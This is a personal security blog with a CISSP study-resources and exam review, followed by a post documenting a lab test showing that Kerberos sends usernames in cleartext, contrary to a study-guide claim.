Be wrong. Defend your answer if you’re solid on it, but be open-minded. If someone makes a good point, consider it. Research it.
There’s nothing wrong with being wrong. There’s a bit of culture about racing to have the right answer, and that’s sweet, nothing wrong with a bit of healthy competition (I’m guilty of it myself). Just remember proving to everyone else in the server how smart you are isn’t going to help you on the exam. Make sure you’re still learning.
This is an excellent server, but think critically about the information you’re being provided. Not everybody will be willing to change their stance on what they believe, and that can sway you into incorrect thinking. See the first point. Do your research, reach a conclusion based on evidence, and let that be the knowledge you take into your exam.

Udemy (Thor Pedersen) (Here, get sick discounts: https://thorteaches.com/udemy/)

This course was my bread and butter. I listened to this twice, once while painting, and then a second time at 1.25x speed. Udemy was a bit screwy, so I couldn’t really read the slides, but Thor’s explanations and examples certainly made up for it. No rose-tinted glasses, Thor can be a bit tough to understand at times, but this content worked for me. Thor also makes the slides available for download, mitigating the Udemy issue.

Boson Practice Tests

These are technical, much more technical than the exam. You’ve heard it before, you’ll hear it again. However, I don’t think this is a bad thing. The explanations are excellent, and I think the understanding you gain in order to be able to pass the Boson tests enables success on the actual exam. In my opinion, Boson is not an exam simulator of any kind of representative standard of the actual exam. What it is, is another learning tool in your toolbox.

CISSP PocketPrep

This was excellent for reinforcement, and replaced Reddit on my phone for the last few weeks. Mostly used in small rooms with no other distractions ;)

Sybex Official Study Guide

For me, this was the official reference guide :P. This was too hard for me to read, no matter how many times I tried, so I used it when I came up against a concept that I couldn’t fully grasp via other means. The online flash cards and associated practice test was excellent for concept cementing and definition remembering, though.

Pluralsight (Kevin Henry) CISSP Course

This did nothing for me. I couldn’t get into the delivery, and it felt like some material was designed for other exams and was being shoehorned into CISSP prep.

LinkedIn Learning (Mike Chapple)

I enjoyed this course. I listened to it when I was painting the house, so I didn’t get a really visual experience, but that doesn’t seem like much of a loss; the few slides I did look at was a few words on the screen Mike was talking about. The course content was really helpful to me.

The exam

A lot of people talk about taking the day before the exam off, and relaxing, and not studying. I didn’t do this. I passed the exam. You know your fatigue level and readiness best, do what works for you.

I listened to Kelly’s “Why you will pass the CISSP”, and it was excellent advice. I think this is over-hyped, though. It applied in various strengths to about 40% of my exam questions, where my impression from other reviews was “this video is applicable to every question”. It wasn’t in my exam.

I did the usual things, got in, sat down, immediately started scribbling down the RMF and SDLC steps. I never referred to these again, but knowing they were there gave me peace of mind. Again, do what works for you.

The exam was actually more technical than I expected. I had a subnetting question, and it was, in my opinion, about 2 inches deep :P. I only had multi choice questions, no drag and drop or hotspots.

The questions weren’t worded with gotchas, they were very straightforward. There were a couple where I read too fast, and initially missed that they were asking for a solution instead of a policy, or a next step, or what have you (read questions slowly or twice. There’s advice I’ll bet you’ve never heard before).

No double negatives, and very few NOTs at all.

The questions can typically be distilled down to the one you’re used to seeing. While most of them are scenario based, what probably 20% of mine were asking was “what is the name of the SDLC / RMF / RA / SA / BCP / DR step they are on OR will move on to next”

A fair number of them were “Here’s a scenario, what’s the best technology to implement to fix the problem”. Note here it wasn’t asking for a policy, but for a technical solution.

I can’t remember where I read the advice, so can’t credit the author, and I’m sorry about that, but it went “Give the question what it’s asking for. If it wants a policy, give it a policy. If it wants a solution, give it a solution”. That certainly applied to my exam.

Finally, while I mentioned that all the questions made sense, sometimes the answers just didn’t align with what was being asked for. Like, there was no best, they all seemed equally wrong. In that case, I just picked an answer that ‘felt’ right, hit next, and didn’t let it stay in my mind. It was the only way to preserve my sanity.

I think the biggest thing for this exam is understanding the material. 95% of my questions were scenario based, and if you understand the underlying technology and methodology, you can apply it to anything they ask with a sufficient degree of certainty. Discussion in discord, and the Boson questions, helped me most with this.

Good luck. You’ve got this.

Kerberos Errata Submission - Research Process

Tue, 17 Mar 2020 09:04:45 +0000

Quick note here, this blog does not dive into the details of how kerberos operates. If that’s what you’re looking for, see this excellent post.

Background

When I was studying for the CISSP, I was chatting away in the Discord server recommended here, when I saw the gem “Kerberos encrypts the username to authenticate” fly past. Having played with Kerberos a little myself, I knew this was incorrect, and lively debate followed. The original messager pointed to the Sybex CISSP Official Study Guide as their source. Intruiged, I cracked open my own copy, and saw the Kerberos steps listed below.

(as an aside, I withdrew from the debate at this time. While I know technically how Kerberos works, if that’s how ISC2 reports Kerberos works, that’s probably how they test it too. I’d hate for someone to fail an exam because they learnt how the real world works instead of what ISC2 want you to know).

For reference, below are the steps listed in the study guide as how Kerberos performs authentication:

1. The user types a username and password into the client.
2. The client encrypts the username with AES for transmission to the KDC.
3. The KDC verifies the username against a database of known credentials.
4. The KDC generates a symmetric key that will be used by the client and the Kerberos server. It encrypts this with a hash of the user’s password. The KDC also generates an encrypted time-stamped TGT.
5. The KDC then transmits the encrypted symmetric key and the encrypted time-stamped TGT to the client.
6. The client installs the TGT for use until it expires.

Logically, steps two and three can’t co-exist. If the username is encrypted, either it needs to be encrypted with a Pre-shared key (PSK) that is NOT the users password, or a PSK that IS a hash of the users password.

If the username is encrypted with a hash of the users password, then when it gets to the KDC, the KDC needs to bruteforce this auth attempt with the password for EVERY user in it’s database, unless another piece of identifying information is passed with the encrypted username.

Alternatively, the PSK is NOT based on the users password, but in this case, the AES password needs to be sent to the requesting system across the network in either cleartext, or using something like Diffie Hellman Key Exchange. I’ve never read this being the case, nor observed it. Nontheless, we allow for this in our testing environment.

Process

On to the research! First, I like to start with a problem statement, which is effectively “What am I trying to prove / disprove”. In this example, my problem statement read:

The listed Kerberos logon process, step 2: 2. The client encrypts the username with AES for transmission to the KDC (as taken from CISSP Official study guide, Sybex, 8e, p. 604; Chapple, M. Stewart, JM. & Gibson, D.) is incorrect.

Now I’m generally looking for three investigative avenues I try and persue independently of each other, whenever possible:

Does the assertion pass the sniff test?
How does the documentation say it should work?
How does it actually work?

We’ve already documented one above. It doesn’t pass the sniff test (ie, it can’t work that way) because of the intense burden it would place on kerberos servers with many users.

For two, we dive into the RFC, or request for comments. This is a document that is effectively where a bunch of very smart people get together and agree on how a given system / protocol / other should work by design. In this particular case, RFC4120 states:

In the request, the client sends (in cleartext) its own identity and the identity of the server for which it is requesting credentials, other information about the credentials it is requesting, and a randomly generated nonce, which can be used to detect replays and to associate replies with the matching requests.

Happy days! This reads to me that, at least by design, the username should not be encrypted when it’s shipped to the server. Better, this isn’t because there’s an omission of specification, it explicitly calls out “in cleartext”. No ambiguity here! Great, this aligns with our sniff test. There’s no guarantee that this is how it’s been implemented though, so let’s move on to point three.

Sounds like labbing time! When I’m doing this research, I’ll record and report how the lab is built and justification, so that people reviewing my work in the future can replicate it should they so desire.

Lab Setup

The Network

Here’s a high level view of the network I set up in two seperate testing instances (which is why the IP addresses overlap)

Router

This machine was set up to emulate a stupid network tap. It hasn’t been added to any domain, and has no contextual awareness of the hosts on either side. IF this machine can see credentials passing over the network in plaintext, then we know that PSK passing for AES can’t be in place, because if it was, this machine wouldn’t know what it was, OR tcpdump wouldn’t apply it automatically.

Router was set up following this process.

iptables was configured with the below settings:

#!/bin/bash

# /etc/rc.local

# Default policy to drop all incoming packets.
iptables -P INPUT DROP
iptables -P FORWARD DROP

# Accept incoming packets from localhost and the LAN interface.
iptables -A INPUT -i lo -j ACCEPT
iptables -A INPUT -i ens34 -j ACCEPT

# Accept incoming packets from the WAN if the router initiated the connection.
iptables -A INPUT -i ens35 -m conntrack \
--ctstate ESTABLISHED,RELATED -j ACCEPT

# Forward LAN packets to the WAN.
iptables -A FORWARD -i ens34 -o ens35 -j ACCEPT

# Forward WAN packets to the LAN if the LAN initiated the connection.
iptables -A FORWARD -i ens35 -o ens34 -m conntrack \
--ctstate ESTABLISHED,RELATED -j ACCEPT

# NAT traffic going out the WAN interface.
iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE

# rc.local needs to exit with 0
exit 0

Here’s a complete view of the host’s network interfaces post configuration:

deloril@ubuntu:~$ ip address
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host 
       valid_lft forever preferred_lft forever
2: ens33: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
    link/ether 00:50:56:28:f5:01 brd ff:ff:ff:ff:ff:ff
    inet 172.16.68.129/24 brd 172.16.68.255 scope global dynamic noprefixroute ens33
       valid_lft 1732sec preferred_lft 1732sec
    inet6 fe80::f34e:6be1:573c:7e38/64 scope link noprefixroute 
       valid_lft forever preferred_lft forever
3: ens34: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
    link/ether 00:50:56:30:10:02 brd ff:ff:ff:ff:ff:ff
    inet 10.0.0.9/24 brd 10.0.0.255 scope global noprefixroute ens34
       valid_lft forever preferred_lft forever
    inet6 fe80::20e1:c419:da20:3547/64 scope link noprefixroute 
       valid_lft forever preferred_lft forever
4: ens35: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
    link/ether 00:50:56:27:db:03 brd ff:ff:ff:ff:ff:ff
    inet 10.1.1.4/24 brd 10.1.1.255 scope global noprefixroute ens35
       valid_lft forever preferred_lft forever
    inet6 fe80::f57b:5f31:8c5e:87e3/64 scope link noprefixroute 
       valid_lft forever preferred_lft forever

Finally, for each test, tcpdump was executed with this command: tcpdump -i ens35 -w ~/<relevant pcap name>

Windows

Server Setup

Use Server Manager to add the Role “Active Directory Domain Services” and dependencies only. Promote server to domain controller, creating a new forest called mydomain.hidden Accept forest and domain functional lecels of Windows Server 2016 Password: Accept netbios name of mydomain

Once installed and rebooted, create a user called plaintextusername. Add this user to domain administrators, because we’re lazy and don’t want hiccups.

Client Setup

Join to the domain, prior to logging packets. This is because when I didn’t, NTLM authentication was used, and I hadn’t the time to work out how to force kerberos.

Restart machine.

Windows Test

On the client, attempt to authenticate as mydomain\plaintextusername and mydomain\unknownuser.

For the known user test, we’re attempting to authenticate with a valid credential. If you want to follow along, the pcap is here. To generate this traffic, we had the client booted up, and attempted to sign in to the machine with the correct credentials for mydomain\plaintextusername. As shown below the CNameString plaintextusername and the realm mydomain are being passed across the network in clear text in packet 4.

For the unknown user test, we’re attempting to authenticate with an invalid username (this user doesn’t exist in the domain). If you want to follow along, the pcap is here. To generate this traffic, we had the client booted up, and attempted to sign in to the machine with the invalid username mydomain\unknownuser. As shown below the CNameString unknownuser and the realm mydomain are being passed across the network in clear text in packet 4.

This looks pretty great, right? Our sniff test is appears correct, and it looks like the windows configuration I’ve tested is RFC compliant! But what about Linux?! I hate being adamantly wrong, so best to cover our bases.

Linux

Server Setup

I followed this guide, running the below commands (relevant output is recorded too, because I’m fancy like that)

sudo apt install krb5-kdc krb5-admin-server
Realm: myrealm
Kerberos Server: 127.0.0.1
AS: 127.0.0.1

sudo krb5_newrealm
Password: <redacted>

sudo dpkg-reconfigure krb5-kdc

sudo kadmin.local
kadmin.local: addprinc plaintextusername
Password for user: <redacted>
quit

sudo vim /etc/krb5kdc/kadm5.acl
add line 
    plaintextusername@myrealm        *
:wq

sudo systemctl restart krb5-admin-server.service

kinit plaintextusername

deloril@ubuntu:~$ klist
Ticket cache: FILE:/tmp/krb5cc_1000
Default principal: plaintextusername@myrealm

Valid starting       Expires              Service principal
03/13/2020 15:39:57  03/14/2020 01:39:57  krbtgt/myrealm@myrealm
	renew until 03/14/2020 15:39:55

Client Setup

For the client, I followed this guide, running the below commands:

sudo apt install krb5-user libpam-krb5
Realm: myrealm
Server: 10.1.1.5
AS: 10.1.1.5

Linux Test

On the client, attempt to authenticate as mydomain\plaintextusername and mydomain\unknownuser.

For the known user test, we’re attempting to authenticate with a valid credential. If you want to follow along, the pcap is here. To generate this traffic, we ran the below commands:

kinit plaintextusername@myrealm
password: <redacted>

deloril@ubuntu:~$ klist
Ticket cache: FILE:/tmp/krb5cc_1000
Default principal: plaintextusername@myrealm

Valid starting       Expires              Service principal
03/13/2020 16:00:04  03/14/2020 02:00:04  krbtgt/myrealm@myrealm
	renew until 03/14/2020 16:00:01

As shown below the CNameString plaintextusername and the realm mydomain are being passed across the network in clear text in packet 4.

For the known user test, we’re attempting to authenticate with a valid credential. If you want to follow along, the pcap is here. To generate this traffic, we ran the below commands:

1
2

kinit plaintextusername@myrealm
kinit: Client 'unknownuser@myrealm' not found in Kerberos database while getting initial credentials

As shown below the CNameString unknownuser and the realm mydomain are being passed across the network in clear text in packet 4.

Interestingly, ubuntu doesn’t ask for a password when you run kinit until AFTER it receives the response from the server indicating the username was valid or not. This makes sense as far as our research goes, but was interesting to me, and it could be used to enumerate valid usernames.

Conclusion

This doesn’t need to be fluffy, it should be concise and report your findings and conclusion. In this case “As the RFC quoted and testing undertaken have shown, neither in theory nor practice is the Authors assertion that at step two of kerberos authentication “The client encrypts the username with AES for transmission to the KDC” acccurate.” is sufficient.

Conclusive Conclusion

Different publishers have different formats for their errata, so format it how they want it. Unfortunately, in this case, I submitted and had my submission acknowledged, but the publisher and authors never provided closure on why the errata wasn’t implemented. So it goes, I guess.

I did provide my findings to the server for the benefit of people who wanted to understand how the real world works, however.

Additional Note on Pre-Authentication

Note: Modern Kerberos implementations use pre-authentication, where the client sends an encrypted timestamp (using a key derived from the user’s password) to prove knowledge of the password. However, the username itself is always sent in cleartext, as specified in RFC 4120 and confirmed by our testing.

Search

Mon, 01 Jan 0001 00:00:00 +0000

This Insecure World

AI and the Blank Page Problem

AI and Foundational Knowledge

Pivoting, RDP, and why notepad talking to 3389 is suss

The bit that looks weird in netstat

What I actually did to get there

Why I care about pivoting when I’m scoping an incident

The EDR miss

Wrapping up

A Local Transcript Editor for CGT Research

The Problem

The Tool

What It Does

Why This Approach Works for CGT

The Privacy Angle

The Workflow

How Long This Takes

If You Want It

Time Well Spent

Threat Hunting vs Incident Scoping: Words Actually Mean Things

The Problem

What Threat Hunting Actually Is

What Incident Scoping Actually Is

Why This Matters

1. Resource Allocation

2. Expectations and Urgency

3. Metrics and Reporting

4. Communication Clarity

5. Burden of Proof

The Practical Difference

Industry Consensus

Conclusion

Research Recruitment

Transitioning from SOC to CSIRT

Musings on SOC and CSIRT and “Upward Trajectories”

OODA Loop for Alert Review

Introduction

OODA

Observe

Orient

Decide

Act

Conclusion

GX-CS - GIAC Experienced CyberSecurity Specialist

DNS over TCP?!

Hashing and Hidden Characters

About

On AI and Writing

Archives

FOR508 - GIAC Certified Forensic Analyst

Self-education

Certification

Charles Sturt University - Master of Cyber Security

Who’s it for?

Training

Network Security and Cryptography

Hacking Countermeasures

Dark Web

Emerging Technology and Innovation

Cyber Warfare and Terrorism

Forensic Investigation

Final Thoughts

SBT - Blue Team Level 1

Who’s it for?

Training

Foundation

Phishing Analysis

Threat Intelligence

Digital Forensics

Security Incident and Event Management (SIEM)

Incident Response

Certification

SEC503 - GIAC Certified Intrusion Analyst

Who’s it for?

Training

Certification

ISC² CISSP

Context (my experience before studying starts)

Prep (What I used and what I thought)

Discord